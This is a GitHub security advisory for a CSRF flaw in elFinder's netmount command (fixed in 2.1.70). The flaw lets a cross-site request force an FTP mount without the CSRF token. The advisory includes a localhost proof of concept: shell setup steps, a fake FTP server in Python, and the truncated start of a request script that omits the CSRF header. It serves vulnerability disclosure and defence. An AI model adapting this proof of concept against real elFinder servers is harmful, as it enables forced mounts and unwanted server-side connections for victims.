GitHub Advisoryadvisory · Packagist

GHSA-9hjf-w35w-6vx2 elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections

MEDIUM Published 2026-09-02 Modified 2026-09-02 Official page ↗
Aliases
CVE-2026-81890
Ecosystem
Packagist
Packages
studio-42/elfinder
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Weaknesses
CWE-352
Reviewed
2026-09-02

Affected packages

• Packagist studio-42/elfinder: < 2.1.70 → fixed in 2.1.70

Description

Summary The PHP connector's CSRF gate protects many mutating commands, but it does not protect the `netmount` connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the `X-elFinder-CSRF` token that other state-changing commands require. This was confirmed locally against `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, corresponding to the repository's documented stable release `2.1.69` / API revision `2.1.69`. Details The connector has an explicit allowlist of commands that require CSRF validation in `php/elFinderConnector.class.php:79-92`. That list includes state-changing commands such as `mkdir`, `mkfile`, `paste`, `put`, `rename`, `rm`, `upload`, `archive`, `extract`, `resize`, and `chmod`, but it omits `netmount`. The enforcement point in `php/elFinderConnector.class.php:376-381` calls `validateCsrfToken()` only when the command appears in that list. `netmount` is a first-class connector command declared in `php/elFinder.class.php:248-278`, specifically `php/elFinder.class.php:263`, with attacker-controlled `protocol`, `host`, `path`, `port`, `user`, `pass`, `alias`, and `options` arguments. Its implementation in `php/elFinder.class.php:1560-1660` resolves the requested network driver, copies request arguments into a volume options array, calls the driver's `netmountPrepare()`, mounts the volume online, and persists successful network volume options in the session with `saveNetVolumes()` at `php/elFinder.class.php:1642-1649`. The documented minimal installation path tells users to rename `/php/connector.minimal.php-dist` and load elFinder (`README.md:105-120`). That shipped minimal connector explicitly enables FTP network mounts at `php/connector.minimal.php-dist:42-43`: ```php // // Enable FTP connector netmount elFinder::$netDrivers['ftp'] = 'FTP'; ``` The FTP driver then uses request-controlled connection parameters. `php/elFinderVolumeFTP.class.php:164-215` initializes the host, port, user, password, path, and netmount key, and `php/elFinderVolumeFTP.class.php:264-327` calls `ftp_connect()` / `ftp_ssl_connect()`, `ftp_login()`, `ftp_raw()`, `ftp_chdir()`, `ftp_pwd()`, `ftp_pasv()`, `FEAT`, and `MLST` against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server. False-positive checks performed: • `mkdir` without the CSRF header was rejected with HTTP 403 and `csrfReload:true`, proving the harness exercised the connector's CSRF gate. • `netmount` without the same CSRF header succeeded with HTTP 200 and an `added` network-volume response. • The fake FTP server observed an inbound connection and FTP command sequence from the PHP process. • No custom application authentication, external service, public infrastructure, or destructive action was used. • Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials. Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration. PoC The following safe local reproduction uses only a disposable connector under `/tmp`, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to `127.0.0.1`. It does not contact external systems. 1. From a clean checkout of `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, create a disposable harness: ```sh mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs cat > /tmp/elfinder-csrf-poc-claude/www/connector.php array( array( 'driver' => 'LocalFileSystem', 'path' => __DIR__ . '/files/', 'URL' => '/files/', 'trashHash' => 't1_Lw', 'uploadDeny' => array('all'), 'uploadAllow' => array('text/plain'), 'uploadOrder' => array('deny', 'allow'), 'accessControl' => 'access' ), array( 'id' => '1', 'driver' => 'Trash', 'path' => __DIR__ . '/files/.trash/', 'tmbURL' => '/files/.trash/.tmb/', 'uploadDeny' => array('all'), 'uploadAllow' => array('text/plain'), 'uploadOrder' => array('deny', 'allow'), 'accessControl' => 'access' ), ) ); $connector = new elFinderConnector(new elFinder($opts)); $connector->run(); PHP ``` 2. Start this minimal fake FTP server as `/tmp/elfinder-csrf-poc-claude/fake_ftp.py`: ```python !/usr/bin/env python3 import socket, sys HOST = '127.0.0.1' PORT = int(sys.argv[1]) LOG = sys.argv[2] def log(line): with open(LOG, 'a', encoding='utf-8') as f: f.write(line + '\n') with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(5) log(f'LISTEN {HOST}:{PORT}') while True: conn, addr = s.accept() with conn: log(f'CONNECT {addr[0]}:{addr[1]}') conn.sendall(b'220 fake ftp ready\r\n') while True: data = b'' while not data.endswith(b'\n'): chunk = conn.recv(1) if not chunk: log('CLOSE') break data += chunk if not data: break line = data.decode('latin-1', errors='replace').strip() log('CMD ' + line) cmd = line.split(' ', 1)[0].upper() if cmd == 'USER': conn.sendall(b'331 password required\r\n') elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n') elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n') elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n') elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n') elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n') elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n') elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n') elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n') elif cmd == 'QUIT': conn.sendall(b'221 bye\r\n') break else: conn.sendall(b'200 ok\r\n') ``` 3. Start the local services: ```sh php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log ``` 4. In another shell, run this control-and-positive test. It intentionally omits `X-elFinder-CSRF` from both the protected `mkdir` control request and the `netmount` request: ```python import json, urllib.parse, urllib.request, urllib.error, http.cookiejar base = 'http://127.0.0.1:8765/connector.php' log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log' open(log, 'w', encoding…

Related

Alias · CVE (1)

  • CVE-2026-81890 elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. vulnerability

Weakness · CWE (1)

  • CWE-352 Cross-Site Request Forgery weakness

References